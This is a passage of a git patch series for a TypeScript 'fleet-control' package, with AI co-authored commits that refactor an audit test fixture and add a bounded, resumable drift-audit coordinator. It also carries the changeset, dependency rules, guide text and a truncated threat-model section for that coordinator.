`missingDeploy` is absent from + * this map too, but never reaches `inspect` at all: fleet.ts:966's + * `if (!inventoryDeployment) continue;` exits its iteration before that. */ function inspectResultsByTenant(): Map { const live = new Map(); for (const record of [ control, - livedup, - recdupA, - dupexpnsA, - dupexpnsB, - missingns, - r2dupA, - r2dupB, - r2missing, - r2drift, + liveDup, + recordDupA, + namespaceDupA, + namespaceDupB, + missingNamespace, + bucketDupA, + bucketDupB, + bucketMissing, + bucketDrift, dbMismatch, bindingMismatch, routeBroken, @@ -1137,14 +1125,10 @@ function inspectResultsByTenant(): Map { ]) { live.set(record.tenantTag, cleanLiveDeployment(record)); } - live.set( - platformDrift.tenantTag, - cleanLiveDeployment(platformDrift, { - // The record's OWN worker inspects clean; only the declared - // `platformResources.stateWorker` (a separate live deployment entry - // in `inventory.deployments`) carries the drift. - }), - ); + // The record's OWN worker inspects clean; only the declared + // `platformResources.stateWorker` (a separate live deployment entry + // in `inventory.deployments`) carries the drift. + live.set(platformDrift.tenantTag, cleanLiveDeployment(platformDrift)); live.set(inspectAbsent.tenantTag, undefined); live.set( maintStale.tenantTag, @@ -1163,13 +1147,17 @@ export async function runFleetAuditBaseline(): Promise<{ readonly ops: readonly AuditOpLogEntry[]; }> { const ops: AuditOpLogEntry[] = []; - const store = new RecordingFleetStore(AUDIT_WORLD_RECORDS, ops); + const fenceViolations: string[] = []; + const store = new RecordingFleetStore( + AUDIT_WORLD_RECORDS, + ops, + fenceViolations, + ); const backend = new RecordingBackend( - 'plain-worker', ops, inspectResultsByTenant(), new Set([rearmFail.tenantTag]), - store.fenceViolations, + fenceViolations, ); const specByTenant = new Map( AUDIT_WORLD_RECORDS.map((record) => [ @@ -1212,8 +1200,8 @@ export async function runFleetAuditBaseline(): Promise<{ now: AUDIT_NOW, }); - if (store.fenceViolations.length > 0) { - throw new Error(`fence violated: ${store.fenceViolations.join('; ')}`); + if (fenceViolations.length > 0) { + throw new Error(`fence violated: ${fenceViolations.join('; ')}`); } return { findings, ops }; diff --git a/scripts/record-audit-baseline.mjs b/scripts/record-audit-baseline.mjs index 56bd843b..0b8ec408 100644 --- a/scripts/record-audit-baseline.mjs +++ b/scripts/record-audit-baseline.mjs @@ -264,12 +264,9 @@ function structuralDifferences(committed, derived, path, differences) { } function summary(baseline) { - const kindCounts = new Map(); - for (const finding of baseline.findings) { - kindCounts.set(finding.kind, (kindCounts.get(finding.kind) ?? 0) + 1); - } + const distinctKinds = new Set(baseline.findings.map((f) => f.kind)).size; return ( - `${baseline.findings.length} findings (${kindCounts.size} distinct kinds), ` + + `${baseline.findings.length} findings (${distinctKinds} distinct kinds), ` + `${baseline.ops.length} ops` ); } From 1c2ff4a459c423354c35d2a741540d2798d789d8 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 2 Sep 2026 01:18:47 +0400 Subject: [PATCH 057/169] refactor(fleet-control): close the R4-B.1 nit ledger The residual cosmetic polish on the audit-world fixture and recorder: prose renames completed, the inspect-map doc names all four absentees with their exact exit checks, platformDrift folds into the live-map loop, bareDeployment gains its doc and honest parameter name, the fence-array seam carries its invariant comment, and citations point at condition lines rather than push sites. Baseline unchanged at 47/86. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01KRECeuo6T37aouqqT3CaMK --- .../test/fixtures/fleet-audit-world.ts | 32 +++++++++++-------- scripts/record-audit-baseline.mjs | 4 ++- 2 files changed, 21 insertions(+), 15 deletions(-) diff --git a/packages/fleet-control/test/fixtures/fleet-audit-world.ts b/packages/fleet-control/test/fixtures/fleet-audit-world.ts index b3673bbb..625ae839 100644 --- a/packages/fleet-control/test/fixtures/fleet-audit-world.ts +++ b/packages/fleet-control/test/fixtures/fleet-audit-world.ts @@ -208,8 +208,9 @@ function cleanRoute( }; } +/** A live inventory deployment entry: empty bindings and routes unless the caller supplies them. */ function bareDeployment( - overrides: Pick< + fields: Pick< FleetInventoryDeployment, 'scriptName' | 'tenantTag' | 'artifactVersion' > & @@ -224,12 +225,12 @@ function bareDeployment( plainTextBindings: {}, routeHostnames: [], schemaVersion: 1, - ...overrides, + ...fields, }; } // --------------------------------------------------------------------------- -// Records. Each targeting record's comment cites the fleet.ts:line it targets. +// Records. Every record but `control` cites the fleet.ts lines its story targets. // --------------------------------------------------------------------------- /** A fully healthy deployment: proves the audit does not false-positive. */ @@ -390,11 +391,14 @@ const routeDup = baseRecord('routedup'); * `options.inventory.hostRoutingKvId` is never set in this world, * fleet.ts:1245's `!options.inventory.hostRoutingKvId` disjunct alone * guarantees fleet.ts:1256 `binding-drift` ("trusted egress Worker ... has - * drifted policy or attribution bindings") ADDITIONALLY. + * drifted policy or attribution bindings") ADDITIONALLY. The record's OWN + * worker inspects clean; only the declared `platformResources.stateWorker` + * and `platformResources.egressProxy` (separate live deployment entries in + * `inventory.deployments`) carry the drift. * * This record ALSO carries the world's only multi-namespace-id story * (§8.6): a second `durableObjectBindings` entry reuses - * `SHARED_EXPECTED_NAMESPACE` (already claimed by `dupexpnsa`/`dupexpnsb` + * `SHARED_EXPECTED_NAMESPACE` (already claimed by `namespaceDupA`/`namespaceDupB` * above), so this record's OWN pass through the fleet.ts:762 inner loop * lands the namespace's THIRD claimant, landing the world's second * `duplicate-namespace` finding; a populated @@ -666,7 +670,7 @@ function fleetAuditWorldInventory(): FleetResourceInventory { }), ); - // fleet.ts:871 — the second `recdupb` claimant of `shared-record-script` + // fleet.ts:871 — the second `recordDupB` claimant of `shared-record-script` // is deliberately NOT added here: `recordDupA`'s clean entry is the only live // deployment under that script name, which is what makes `recordDupB`'s own // `recordsByScript` lookup see two RECORDS behind one live entry. @@ -761,7 +765,7 @@ function fleetAuditWorldInventory(): FleetResourceInventory { // fleet.ts:1146/:1224 — the one live deployment behind `platformDrift`'s // declared `stateWorker`, with wrong ownership metadata (no // `resourceRole`, wrong `resourceGroupId`/`artifactVersion`) and an empty - // `databaseIds` (fleet.ts:1224 expects exactly one matching entry). + // `databaseIds` (fleet.ts:1168 expects exactly one matching entry). deployments.push( bareDeployment({ scriptName: PLATFORM_STATE_SCRIPT_NAME, @@ -1100,9 +1104,11 @@ class RecordingBackend implements ProvisioningBackend { * Every record reached through `backend.inspect()` gets a clean, matching * live deployment EXCEPT the records whose story is specifically about * inspect-time drift (`inspectAbsent` returns `undefined`; `maintStale` and - * `rearmFail` report unarmed maintenance). `missingDeploy` is absent from - * this map too, but never reaches `inspect` at all: fleet.ts:966's - * `if (!inventoryDeployment) continue;` exits its iteration before that. + * `rearmFail` report unarmed maintenance). `missingDeploy`, `recordDupB`, + * `staleNotReady`, and `wfpRelease` are absent from this map entirely: + * `missingDeploy` never reaches `inspect` at all, exiting at fleet.ts:966's + * `!inventoryDeployment` check, while the other three exit earlier still, at + * fleet.ts:965's `phase !== 'ready'` gate. */ function inspectResultsByTenant(): Map { const live = new Map(); @@ -1121,14 +1127,11 @@ function inspectResultsByTenant(): Map { bindingMismatch, routeBroken, routeDup, + platformDrift, channelDrift, ]) { live.set(record.tenantTag, cleanLiveDeployment(record)); } - // The record's OWN worker inspects clean; only the declared - // `platformResources.stateWorker` (a separate live deployment entry - // in `inventory.deployments`) carries the drift. - live.set(platformDrift.tenantTag, cleanLiveDeployment(platformDrift)); live.set(inspectAbsent.tenantTag, undefined); live.set( maintStale.tenantTag, @@ -1147,6 +1150,7 @@ export async function runFleetAuditBaseline(): Promise<{ readonly ops: readonly AuditOpLogEntry[]; }> { const ops: AuditOpLogEntry[] = []; + // One array feeds the store's clock fence, the backend's credential pins, and the post-run throw. const fenceViolations: string[] = []; const store = new RecordingFleetStore( AUDIT_WORLD_RECORDS, diff --git a/scripts/record-audit-baseline.mjs b/scripts/record-audit-baseline.mjs index 0b8ec408..d0d724bc 100644 --- a/scripts/record-audit-baseline.mjs +++ b/scripts/record-audit-baseline.mjs @@ -264,7 +264,9 @@ function structuralDifferences(committed, derived, path, differences) { } function summary(baseline) { - const distinctKinds = new Set(baseline.findings.map((f) => f.kind)).size; + const distinctKinds = new Set( + baseline.findings.map((finding) => finding.kind), + ).size; return ( `${baseline.findings.length} findings (${distinctKinds} distinct kinds), ` + `${baseline.ops.length} ops` From d9f864f7d6f2d451048f83346d5fe468bcb91bc5 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 2 Sep 2026 16:28:18 +0400 Subject: [PATCH 058/169] feat(fleet-control): add the bounded fleet audit coordinator and extract the audit stages MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit R4-B.2 of the C2-R4 plan: auditFleetDrift() becomes a drain over pure, extracted stage functions (set-builders, the global stages, and a per-record step that composes the sanitized durable detail beside the byte-exact legacy detail), and advanceFleetAudit() drives the same stages one bounded chunk per call over the R4-A operation store — probe-first start with the three classified startOperation outcomes, one pinned finalized R3 inventory generation per operation, a GlobalAuditStep-keyed descriptor table for the global stages, the per-record stage doing at most one resolver triple, one inspection, and one guarded maintenance re-arm, a start-only auditClock (validated at sampling) that freezes auditTimeMs beside the re-arm-only authorityClock, an item-wise intake preflight (explicit generation, per-record structure and byte bounds, an aggregate byte bound, identifier grammar on canonical snapshots, initial progress) that refuses with a fixed message before any operation row, never clones the whole intake as one tree, and never reads a caller-supplied object again after the pass, a caller-side emission-envelope preflight that turns an over-bound finding or fact row into the durable failure emission-bound-exceeded before the store sees it, out-of-range durable cursors and non-advancing store pages refused as corruption instead of truncating or looping, and store output parsed rather than cast. Provider-observed finding identifiers and fact keys persist as bounded strings exactly as the drain reports them, so the write-side row gate rejects corruption only; the non-throwing detail gate covers pass-through provider findings as well as the composed families. readAllFleetOperationRows (order-agnostic; fail-closed on an empty, non-advancing, overlapping, duplicated, gapped, or over-cap page, with the port contract stated), fleetOperationTokenOf, fleetOperationItemsIntake (with its digest-property title), and fleetOperationStagedRowPayloadFitsEnvelope live in the operation state module for R4-C reuse; readFleetAuditFindingsPage returns every page in ordinal order whatever order the store's page arrived in and documents the next-cursor idiom; the non-emitting namespace and R2 seeds derive from the emitting stages instead of restating their loops; withAuditStageOrdinal joins the audit state module; the R4-A finding-tag title is re-cut to the bounded floor and the progress codec enforces the start-time clock and staleness invariants. The frozen golden audit baseline (47 findings / 20 kinds / 86 ops) stayed byte-identical through the rewrite. Public surface: 11 values / 16 types. Two dependency-cruiser fences with positive controls (rules 27 -> 29, runner controls 28 -> 30); guide and threat-model sections; fleet-control minor changeset. Package suite 1,439 -> 1,493. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_01AXRCupgs96KASmXs16rtib --- .changeset/bounded-fleet-audit.md | 14 + .dependency-cruiser.cjs | 34 + docs/fleet-control.md | 22 + docs/security-threat-model.md | 16 +- .../fleet-control/src/fleet-audit-advance.ts | 1248 +++++ .../fleet-control/src/fleet-audit-state.ts | 37 +- .../src/fleet-operation-state.ts | 185 +- packages/fleet-control/src/fleet.ts | 1642 +++--- packages/fleet-control/src/index.ts | 33 + .../test/fleet-audit-advance.test.ts | 4387 +++++++++++++++++ .../test/fleet-operation-state.test.ts | 97 +- .../operation-advance-imports-provider.ts | 2 + .../runtime-sdk-import.ts | 3 + .../architecture-positive-controls.test.mjs | 4 + 14 files changed, 7106 insertions(+), 618 deletions(-) create mode 100644 .changeset/bounded-fleet-audit.md create mode 100644 packages/fleet-control/src/fleet-audit-advance.ts create mode 100644 packages/fleet-control/test/fleet-audit-advance.test.ts create mode 100644 scripts/architecture-fixtures/operation-advance-imports-provider.ts create mode 100644 scripts/architecture-fixtures/runtime-sdk-import.ts diff --git a/.changeset/bounded-fleet-audit.md b/.changeset/bounded-fleet-audit.md new file mode 100644 index 00000000..35cc7dd8 --- /dev/null +++ b/.changeset/bounded-fleet-audit.md @@ -0,0 +1,14 @@ +--- +'@proofoftech/fleet-control': minor +--- + +Add a bounded, resumable fleet drift audit API with a durable, provider-neutral operation store. `advanceFleetAudit()` performs at most one bounded stage chunk per call — one global-stage slice of up to `maxItemsPerCall` items (1..2,000, default 500), or exactly one Fleet record's inspection and re-arm — against a `FleetOperationStore`; `D1FleetOperationStore` implements that port over the existing Fleet D1 binding with account-and-kind-scoped leases, lease-fenced guarded batches, and audit generation pinning. Call `start` with an operation id, the audited records, and `staleAfterMs`, then re-enqueue only the pending token each call returns. Start requires at most 10,000 records whose canonical bytes total at most 16 MiB, with each record within the 96 KiB staged-row byte bound and the per-record structure bounds: plain JSON data (no `undefined`-valued properties, dates, class instances, or cycles) within depth 64, 8,192 nodes, and 4 KiB per string value or object key. Every record must satisfy the deployment identifier grammar, and an explicit generation must be a positive safe integer. Every such refusal has a fixed message and precedes every durable effect. The `staleAfterMs` and operation-id refusals also occur before the lease; after the lease row is written, the foreign-kind, no-finalized-generation, and `auditClock`-sample refusals write nothing else. These accepted inputs are intentionally narrower than `auditFleetDrift()`, which does not require that identifier grammar, an explicit generation, or the bounded path's row and structure bounds. Read the findings back page by page with `readFleetAuditFindingsPage()` once the operation is terminal; `abandonFleetAuditOperation()` unblocks a stuck running operation and releases any pin an already-terminal one still holds. + +- `auditFleetDrift()` keeps its exact signature, refusal message, finding vocabulary, finding order, provider interaction order, return value, and stop behavior. It now drains the same decomposed stages in memory, and a frozen golden baseline (findings and the full store/backend/resolver call log) pins all of that. +- **HARDENING:** the bounded engine never persists the raw diagnostic bytes a one-shot audit composes call-locally. The three resolvers, the inspection, the re-arm, and the segmented multi-duty `maintenance-stale` composition durably record a fixed template alone; any finding detail, composed by the engine or passed through from the pinned inventory generation, that fails a non-throwing credential-substring and control-byte gate persists a fixed withheld-detail fallback instead of aborting the operation. +- An audit start pins exactly one finalized `@proofoftech/fleet-control` R3 inventory generation and keeps it through completion, so a finding page stays interpretable against the exact generation it was computed from; only explicit result garbage collection, terminal failure, or abandonment releases it. A replayed start never re-resolves "latest": it reuses the persisted generation. +- Every finding or fact must fit the staged-row envelope: a 16 KiB JSON-serialized payload, 4 KiB per string, and the codec's depth and node bounds. The coordinator detects an excess before the store sees the row, fails the whole operation with the durable `emission-bound-exceeded` reason, and releases the pin. One record's whole per-call emission set (its findings plus the cross-record ownership facts it newly claims) must also fit inside the one guarded D1 batch its `per-record` call commits — a ceiling of 99 rows. A record whose live inspection alone would approach that ceiling fails with the same reason rather than emitting a partial finding set. +- The bounded path differs from the drain in exactly four classes: every resolver, inspection, and re-arm failure and every multi-duty `maintenance-stale` finding persists one of the six fixed detail-template families where the drain composes the raw diagnostic; any unsafe finding detail, composed or passed through, becomes the fixed withheld-detail fallback; concurrent mutation can cause either a re-arm refusal on a Fleet reread mismatch or inspection-derived findings against later provider truth, with the bounded path's typically older snapshot making both more likely; and `emission-bound-exceeded` (from the staged-row envelope or the 99-row ceiling) and `generation-unavailable` are terminal whole-operation failures with no drain counterpart, while `auditFleetDrift()` completes and returns its full finding array over the identical world and clocks. Every other output is proven byte-for-byte equivalent to the drain under identical frozen worlds and clocks. +- Per-call cost is not free: every advance call that runs a stage chunk re-reads the pinned generation in full and re-pages the accumulated `record` rows; a record-processing `per-record` call additionally re-pages the accumulated `fact` rows. Each stage-running call also structurally re-parses every accumulated `record` row through three plain-data traversals. `finding` rows are never re-paged. A stale token, a `start`, and a `finalize` call read neither. The complete aggregate cost of one bounded audit spans `1 + records + Σ max(1, ⌈source_i / maxItemsPerCall⌉)` stage-running calls: one per-record-to-finalize transition, one processing call per record, and at least one call per global source. Every such call re-reads O(G) generation rows and re-pages and structurally re-parses O(R) accumulated `record` rows; a record-processing `per-record` call additionally re-pages accumulated `fact` rows. In the records-dominated case, this is O(records) full generation re-reads, O(records²/1,000) accumulated-row page reads, O(records²) billed rows read, and O(records²) structural `FleetRecord` re-parses at three plain-data traversals each, the dominant CPU term. This checkpoint's in-memory suite measured about 0.25 ms per record-row re-parse per call: one per-record call over 1,001 accumulated rows took roughly 0.5 s in fix 7, and a 1,200-record full drain took roughly 122 s in fix 6. A late per-record call at the 10,000-record ceiling therefore spends seconds of isolate CPU re-parsing before its provider work. The per-call guarantee covers bounded provider work and bounded emission, not bounded CPU or bounded rows read. See the fleet control guide for the full envelope. + +No existing public export changes shape, and the Worker subpath is unchanged. diff --git a/.dependency-cruiser.cjs b/.dependency-cruiser.cjs index 4a72dc07..d40cce76 100644 --- a/.dependency-cruiser.cjs +++ b/.dependency-cruiser.cjs @@ -283,6 +283,40 @@ module.exports = { reachable: true, }, }, + { + name: 'fleet-control-operation-advance-avoids-concrete-transports', + severity: 'error', + comment: + 'The bounded audit and migration coordinators depend only on provider-neutral ports, state, and the lifecycle engine they extract stage functions from. Unlike the other bounded coordinators, backend-switch.ts, provision.ts, and fleet.ts are NOT forbidden here: the coordinators legitimately reach fleet.ts for its extracted stage functions, and the two top-level npm-cloudflare patterns are dropped because fleet.ts carries a type-only SDK edge under tsPreCompilationDeps that dependencyTypesNot cannot exempt from a reachable to-restriction. Every concrete provider/transport module, Wrangler, export stores, root barrels, and workers/ remain forbidden.', + from: { + path: [ + '^packages/fleet-control/src/(?:fleet-audit-advance|fleet-migration-advance)\\.ts$', + '^scripts/architecture-fixtures/operation-advance-imports-provider\\.ts$', + ], + }, + to: { + path: '(?:^packages/fleet-control/src/(?:cloudflare-fleet-inventory|cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors|workers-for-platforms-backend-switch-provider|wrangler-plain-worker-provisioning-api|wrangler-loop-backend|wrangler-runner|export-file-name|export-store|r2-export-store|index)\\.ts$|^packages/fleet-control/src/workers/)', + reachable: true, + }, + }, + { + name: 'fleet-control-runtime-sdk-stays-in-provider-modules', + severity: 'error', + comment: + 'Runtime Cloudflare SDK values may be imported only by the three modules that already hold that edge; a type-only import (the provider-binding-inventory.ts leaf) is exempt. Unlike the reachable rules above, this is a direct-edge check with no reachable restriction, mirroring the decommission-database provider-neutral precedent.', + from: { + path: [ + '^packages/fleet-control/src/', + '^scripts/architecture-fixtures/runtime-sdk-import\\.ts$', + ], + pathNot: + '^packages/fleet-control/src/(?:cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors)\\.ts$', + }, + to: { + path: '(?:^cloudflare(?:/|$)|(?:^|/)node_modules/(?:\\.pnpm/)?cloudflare(?:@|/))', + dependencyTypesNot: ['type-only', 'type-import'], + }, + }, { name: 'fleet-control-cleanup-advance-is-transport-neutral', severity: 'error', diff --git a/docs/fleet-control.md b/docs/fleet-control.md index 67ca9e04..131dec9b 100644 --- a/docs/fleet-control.md +++ b/docs/fleet-control.md @@ -213,6 +213,28 @@ Pass that independently collected `FleetResourceInventory` to `auditFleetDrift() The maintenance watchdog evaluates deadline expiry, SLA sweep, retention purge, and the optional background tick independently, including their last attempt and error. Plain, platform-authored Workers authenticate maintenance with the deployment's maintenance secret. An external release never receives that reusable secret. Fleet control instead signs a short-lived Ed25519 capability bound to the operation, tenant, environment, physical release script, specification digest, expiry, and nonce. The global dispatcher verifies that capability before calling `DISPATCH.get()`, and the trusted state Worker verifies it again against static deployment bindings. `ensure-maintenance` atomically consumes the nonce, while status remains replay-safe and read-only. The state Worker signs the exact result with its per-state HMAC secret, and fleet control ignores the candidate's unsigned body. The mutation request timeout must remain shorter than both the capability lifetime and the active mutation lease. The current verifier is intentionally immutable across an existing global dispatcher and deployment record: ordinary per-tenant key rotation is unsupported. Rotation requires a coordinated fleet maintenance migration or a future overlapping JWKS design. +## Audit an account under a request budget + +`auditFleetDrift()` still returns the complete `readonly DriftFinding[]` array in one call, with the same finding vocabulary, order, provider interaction order, and return value. When a control-plane Worker cannot hold one full audit pass inside a single request, drive the same reconciliation logic in bounded steps with `advanceFleetAudit()`. Construct a `D1FleetOperationStore` (pass an `inventoryStore` so it can release audit pins and prune), call `start` with a caller-minted lowercase UUIDv4 operation id, the caller-supplied `records`, `staleAfterMs`, and an optional explicit `generation` (defaulting to the latest finalized R3 inventory generation), then re-enqueue only the pending token each call returns. Before it takes the operation lease, a start refuses a non-positive or non-integer explicit generation, more than 10,000 records, records whose canonical bytes total more than 16 MiB, a record whose tenant tag or environment is not a string in the deployment identifier grammar, a record above the 96 KiB staged-row byte bound, or a record outside the per-record structure bounds: plain JSON data (no `undefined`-valued properties, dates, class instances, or cycles) within depth 64, 8,192 nodes, and 4 KiB per string value or object key. Every such refusal has a fixed message and precedes every durable effect. The `staleAfterMs` and operation-id refusals also occur before the lease. After the lease row is written, the foreign-kind, no-finalized-generation, and `auditClock`-sample refusals (`fleet audit auditClock sample must be a non-negative safe integer representable by Date`) write nothing else. Fleet D1 owns the operation, the stage position, and every staged row; a token is a continuation claim, not authority. + +An audit start pins one finalized R3 inventory generation before staging anything and keeps that pin through completion, so the operation's findings stay interpretable against the exact generation they were computed from until the caller explicitly discards the result. Only explicit result garbage collection, terminal failure, or `abandonFleetAuditOperation()` releases the pin — finalizing an operation alone does not. When the initial probe finds the operation, a replayed start never re-resolves "latest": it reuses the persisted generation. If the probe races a concurrent creator and `startOperation()` adopts that winner, the replay can resolve "latest" locally but discards that resolution and pins the winner's persisted generation. + +One call performs at most one bounded stage chunk: every global stage processes up to `maxItemsPerCall` items (1 through 2,000, default 500), and the `per-record` stage processes at most one Fleet record: at most one resolver triple, at most one provider inspection, and at most one guarded maintenance re-arm. A stale token returns the current durable result with no resolver, generation, or provider work, while a future token, an unknown operation, and a foreign-kind token all fail closed. + +Two clocks feed the bounded path. The optional `auditClock` (default `Date.now`) is sampled at most once per start call, after every pre-lease refusal and after the operation probe. Only a start that creates the operation persists the sample as `auditTimeMs`; adopted starts discard it. That persisted value drives every staleness comparison for the life of the operation, so a long-running operation does not report a record more stale than it was when the audit began. The optional `authorityClock` (default `Date.now`) feeds only the maintenance re-arm's authority timestamp, so a first-time `authorizedAt` is stamped with call-time wall clock rather than the frozen audit time. + +Durable finding rows never carry raw diagnostic bytes. The bounded engine composes each of the six sanitized template families — the five `String(error)` sites (the three resolvers, the inspection, and the re-arm) and the segmented maintenance-duty error — from a fixed template alone; `auditFleetDrift()`'s exact byte-for-byte composition remains call-local and unpersisted. Any finding detail, composed by the engine or passed through from the pinned inventory generation, that fails the non-throwing safety gate (length, control bytes, or a credential-shaped substring) persists a fixed withheld-detail fallback instead of aborting the operation. + +Every finding and fact passes the same shape, vocabulary, and byte-bound codec before write and after read. If store or generation corruption violates that structure, the advance throws `fleet operation state is malformed`, writes nothing from that call, and leaves the operation running. Call `abandonFleetAuditOperation()` to fail that operation and release its pin. + +Every finding or fact must also fit the staged-row envelope: a 16 KiB JSON-serialized payload, 4 KiB per string, and the operation codec's depth and node bounds. The coordinator checks this before either a global-stage write or a per-record commit; an excess fails the whole operation with the durable `emission-bound-exceeded` reason and releases the pin before the store sees the row. One record's whole emission set — its findings plus the cross-record ownership facts it newly claims — must additionally fit inside the one guarded D1 batch its `per-record` call commits: at most 99 rows (100 minus the one run-record update). A record whose live inspection alone would emit close to 100 findings and facts — realistically, a record with on the order of 100 Durable Object bindings — exceeds that ceiling and fails the whole operation with the same reason; the operation never emits a partial finding set for one record. + +Read the findings back page by page with `readFleetAuditFindingsPage(store, {operationId, afterOrdinal, limit})` once the operation is terminal — a failed operation's findings remain readable; it never touches the inventory store. Each page comes back in ordinal order whatever order the store's page arrived in; finding ordinals are contiguous from zero and a page holds the smallest qualifying ordinals, so advance the cursor by the page length (`afterOrdinal = (afterOrdinal ?? -1) + findings.length`) until `done`. `abandonFleetAuditOperation()` is the only way to unblock a stuck running operation: it fails the operation and releases its pin, and, called again on an already-terminal operation, releases any pin that survived a crash between the terminal commit and the pin release, without changing operation state. + +Per-call cost is not free: every advance call that runs a stage chunk re-reads the pinned generation in full (under the requirement that an account's finalized generation materialize inside the 128 MB isolate — R3's own per-item bounds are the only cap, and its D1 reader issues two unbounded SELECTs) and re-pages the operation's accumulated `record` rows; a record-processing `per-record` call additionally re-pages the accumulated `fact` rows. Each stage-running call also re-parses every re-paged `record` row through the package's structural FleetRecord ingress. Per record, that ingress performs three plain-data traversals: a bounded plain-data clone, a JSON serialization for the clone's byte bound, and a discarded `structuredClone` probe. Those traversals enforce bounds and plainness, while field shape rests on the store contract that this coordinator staged each row under canonical serialization. `finding` rows are never re-paged. A stale token, a `start`, and a `finalize` call read neither. The complete aggregate cost of one bounded audit spans `1 + records + Σ max(1, ⌈source_i / maxItemsPerCall⌉)` stage-running calls: one per-record-to-finalize transition, one processing call per record, and at least one call per global source. Every such call re-reads O(G) generation rows and re-pages and structurally re-parses O(R) accumulated `record` rows; a record-processing `per-record` call additionally re-pages accumulated `fact` rows. In the records-dominated case, this is O(records) full generation re-reads, O(records²/1,000) accumulated-row page reads, O(records²) billed rows read, and O(records²) structural `FleetRecord` re-parses at three plain-data traversals each, the dominant CPU term. This checkpoint's in-memory suite measured about 0.25 ms per record-row re-parse per call: one per-record call over 1,001 accumulated rows took roughly 0.5 s in fix 7, and a 1,200-record full drain took roughly 122 s in fix 6. A late per-record call at the 10,000-record ceiling therefore spends seconds of isolate CPU re-parsing before its provider work. The per-call guarantee covers bounded provider work and bounded emission, not bounded CPU or bounded rows read. This is the same accepted trade-off documented for bounded inventory below. + +The equivalence proof assumes that `start` accepts its inputs: at most 10,000 caller records whose canonical bytes total at most 16 MiB, each within the 96 KiB staged-row byte bound and the per-record structure bounds — plain JSON data (no `undefined`-valued properties, dates, class instances, or cycles) within depth 64, 8,192 nodes, and 4 KiB per string value or object key; every record satisfies the deployment identifier grammar, and any explicit generation is a positive safe integer. The bounded path differs from the drain in exactly four classes. First, every resolver, inspection, and re-arm failure and every multi-duty `maintenance-stale` finding persists one of the six fixed detail-template families where the drain composes the raw diagnostic. Second, any unsafe finding detail, whether composed or passed through, becomes the fixed withheld-detail fallback. Third, concurrent mutation can cause either a re-arm refusal on a Fleet reread mismatch or inspection-derived findings against later provider truth; the bounded path's typically older snapshot makes both outcomes more likely than in a drain at audit start. Fourth, `emission-bound-exceeded` (from either the staged-row envelope or the 99-row ceiling) and `generation-unavailable` are terminal whole-operation failures with no drain counterpart: `auditFleetDrift()` completes and returns its full finding array over the identical world and clocks. Every other output is proven byte-for-byte equivalent to the drain, under identical frozen worlds and clocks. + ## Inventory an account under a request budget `collectFleetInventory()` still returns one complete `FleetResourceInventory` in a single call, with the same provider encounter order, the same finding vocabulary and order, and the same result bytes. It now drains the bounded engine in memory, which introduces one documented limitation described at the end of this section. When a control-plane Worker cannot hold that whole enumeration inside one request, drive the same engine in bounded steps with `advanceFleetInventory()`. Construct the provider seam with `cloudflareFleetInventoryContext(client)` and a `D1FleetInventoryRunStore`, call `start` with an operation id and the same options `collectFleetInventory()` accepts (now exported as `CollectFleetInventoryOptions`), then re-enqueue only the pending token each call returns. Fleet D1 owns the operation, the stage position, and every staged row; a token is a continuation claim, not authority. One call performs at most one provider stage chunk, bounded by `maxProviderRequests` (an integer from 9 through 1,000) and `maxStagedRowsPerChunk` (1 through 2,000, default 500). A stale token returns the current durable result with no provider request, while a future token, an unknown operation, and a foreign active operation fail closed. diff --git a/docs/security-threat-model.md b/docs/security-threat-model.md index c4d98f9e..a85bdd38 100644 --- a/docs/security-threat-model.md +++ b/docs/security-threat-model.md @@ -158,7 +158,7 @@ A completed cleanup writes an immutable operation-keyed terminal receipt atomica ### Bounded account inventory -A bounded account inventory run persists its progress and its enumerated rows in Fleet D1, so what may enter those rows is a boundary in its own right. Every durable inventory string passes a credential and length control: at most 512 bytes, and none of the case-insensitive substrings `authorization`, `bearer`, `x-auth`, or `api_token`. Every value interpolated into a durable `finding` detail additionally has to be printable and free of whitespace after the caller normalizes a hostname to ASCII. Neither control is a name grammar, because Cloudflare KV key names permit all printable non-whitespace characters and custom domains may be returned as internationalized Unicode; a narrower charset would abort a run that should merely have recorded a `malformed-route` finding. +A bounded account inventory run persists its progress and its enumerated rows in Fleet D1, so what may enter those rows is a boundary in its own right. Every durable inventory string passes a credential and length control: at most 512 bytes, and none of the case-insensitive substrings `authorization`, `bearer`, `x-auth`, or `api_token`. Every value interpolated into a durable `finding` detail additionally has to be printable and free of whitespace after the caller normalizes a hostname to ASCII. The bounded fleet audit below is a documented exception to the 512-byte figure: its composed finding details are sentences, not short provider-claimed values, so they validate against a 4 KiB string bound instead, under the same credential-substring and control-byte denylist. Neither control is a name grammar, because Cloudflare KV key names permit all printable non-whitespace characters and custom domains may be returned as internationalized Unicode; a narrower charset would abort a run that should merely have recorded a `malformed-route` finding. The two sites that previously interpolated a provider error string are sanitized. A durable finding stores only `registered script '' could not be inspected` or `plain Worker '' could not be inventoried`. The transient provider text stays in call-local diagnostics that are never written to a row, a deployment fact, or the run record. `collectFleetInventory()` composes today's exact bytes from those call-local diagnostics, so the in-memory result is unchanged while the durable row carries no provider text. @@ -168,6 +168,20 @@ Provider resumption cursors are the one deliberate carve-out. `stage.cursor` and Only a finalized generation is readable. Partial, failed, and count-divergent generations are structurally unreadable, and historical generations require an explicit pin before a read so bounded garbage collection cannot race a legitimate reader. A generation is a point-in-time-per-stage snapshot rather than a globally consistent one; account-wide mutation locking against independent external tokens remains out of scope, unchanged from the single-call enumeration. +### Bounded fleet audit + +A bounded audit operation persists its findings, cross-record ownership facts, and progress in Fleet D1 under the same operation-store boundary as bounded inventory. Caller-supplied records are one provenance class: before taking the operation lease, `start` refuses more than 10,000 records, records whose canonical bytes total more than 16 MiB, any record above the 96 KiB staged-row byte bound, or any record outside the per-record structure bounds: plain JSON data (no `undefined`-valued properties, dates, class instances, or cycles) within depth 64, 8,192 nodes, and 4 KiB per string value or object key. It also requires string tenant tags and environments that satisfy the deployment identifier grammar. Every such refusal has a fixed message and precedes every durable effect. The `staleAfterMs` and operation-id refusals also occur before the lease. After the lease row is written, the foreign-kind, no-finalized-generation, and `auditClock`-sample refusals 